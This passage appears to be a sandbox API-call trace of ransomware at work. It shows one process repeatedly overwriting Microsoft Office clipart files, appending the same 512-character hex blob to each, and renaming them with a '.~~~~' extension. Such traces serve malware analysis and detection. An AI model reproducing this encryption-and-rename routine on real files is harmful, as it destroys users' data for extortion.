	[0120.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea250 | out: hHeap=0x300000) returned 1
	[0120.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8d40
	[0120.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b63b8
	[0120.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8d40 | out: hHeap=0x300000) returned 1
	[0120.675] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.675] GetLastError () returned 0x0
	[0120.675] GetLastError () returned 0x0
	[0120.675] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.675] GetLastError () returned 0x0
	[0120.675] GetLastError () returned 0x0
	[0120.677] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffb6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.677] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x494, lpOverlapped=0x0) returned 1
	[0120.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.678] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.678] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.678] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.678] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.679] CloseHandle (hObject=0x140) returned 1
	[0120.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8de8
	[0120.679] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.~~~~")) returned 1
	[0120.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8de8 | out: hHeap=0x300000) returned 1
	[0120.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.680] GetLastError () returned 0x0
	[0120.680] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.681] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.681] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.681] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24067125413) returned 1
	[0120.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1671190, dwHighDateTime=0x1d60e1e)) 
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea288
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea288 | out: hHeap=0x300000) returned 1
	[0120.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8de8
	[0120.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6450
	[0120.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8de8 | out: hHeap=0x300000) returned 1
	[0120.682] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.682] GetLastError () returned 0x0
	[0120.682] GetLastError () returned 0x0
	[0120.682] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.682] GetLastError () returned 0x0
	[0120.682] GetLastError () returned 0x0
	[0120.684] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.684] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x3b9, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3b9, lpOverlapped=0x0) returned 1
	[0120.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.685] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.685] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.685] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.685] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.685] CloseHandle (hObject=0x140) returned 1
	[0120.685] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8de8
	[0120.685] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.~~~~")) returned 1
	[0120.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8de8 | out: hHeap=0x300000) returned 1
	[0120.686] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.686] GetLastError () returned 0x0
	[0120.687] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.688] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.688] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.688] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.688] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24067958789) returned 1
	[0120.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1671190, dwHighDateTime=0x1d60e1e)) 
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea2c0
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea2c0 | out: hHeap=0x300000) returned 1
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8de8
	[0120.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b64e8
	[0120.690] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8de8 | out: hHeap=0x300000) returned 1
	[0120.690] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.690] GetLastError () returned 0x0
	[0120.691] GetLastError () returned 0x0
	[0120.691] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.691] GetLastError () returned 0x0
	[0120.691] GetLastError () returned 0x0
	[0120.692] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffcfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.692] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x304, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x304, lpOverlapped=0x0) returned 1
	[0120.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.694] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.694] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.694] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.694] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.694] CloseHandle (hObject=0x140) returned 1
	[0120.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8de8
	[0120.694] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.~~~~")) returned 1
	[0120.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8de8 | out: hHeap=0x300000) returned 1
	[0120.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.696] GetLastError () returned 0x0
	[0120.696] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.697] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.697] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.697] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24068702340) returned 1
	[0120.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb16972f0, dwHighDateTime=0x1d60e1e)) 
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea2f8
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea2f8 | out: hHeap=0x300000) returned 1
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8de8
	[0120.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6580
	[0120.698] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8de8 | out: hHeap=0x300000) returned 1
	[0120.698] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.698] GetLastError () returned 0x0
	[0120.698] GetLastError () returned 0x0
	[0120.698] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.698] GetLastError () returned 0x0
	[0120.698] GetLastError () returned 0x0
	[0120.737] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff1bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.737] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xe44, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0xe44, lpOverlapped=0x0) returned 1
	[0120.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.738] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.738] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.739] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.739] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.739] CloseHandle (hObject=0x140) returned 1
	[0120.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.744] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.~~~~")) returned 1
	[0120.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.745] GetLastError () returned 0x0
	[0120.750] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.751] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.751] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.751] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24074088649) returned 1
	[0120.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1709710, dwHighDateTime=0x1d60e1e)) 
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea448
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea448 | out: hHeap=0x300000) returned 1
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6618
	[0120.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.751] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.752] GetLastError () returned 0x0
	[0120.752] GetLastError () returned 0x0
	[0120.752] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.752] GetLastError () returned 0x0
	[0120.752] GetLastError () returned 0x0
	[0120.802] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff5ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.802] WriteFile (in: hFile=0x148, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xa16, lpOverlapped=0x0) returned 1
	[0120.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0120.804] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.804] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.804] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.804] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.804] CloseHandle (hObject=0x148) returned 1
	[0120.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6320
	[0120.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL1.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl1.wmf.~~~~")) returned 1
	[0120.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6320 | out: hHeap=0x300000) returned 1
	[0120.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.806] GetLastError () returned 0x0
	[0120.807] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.808] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.808] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.808] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24079854838) returned 1
	[0120.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb17a1c90, dwHighDateTime=0x1d60e1e)) 
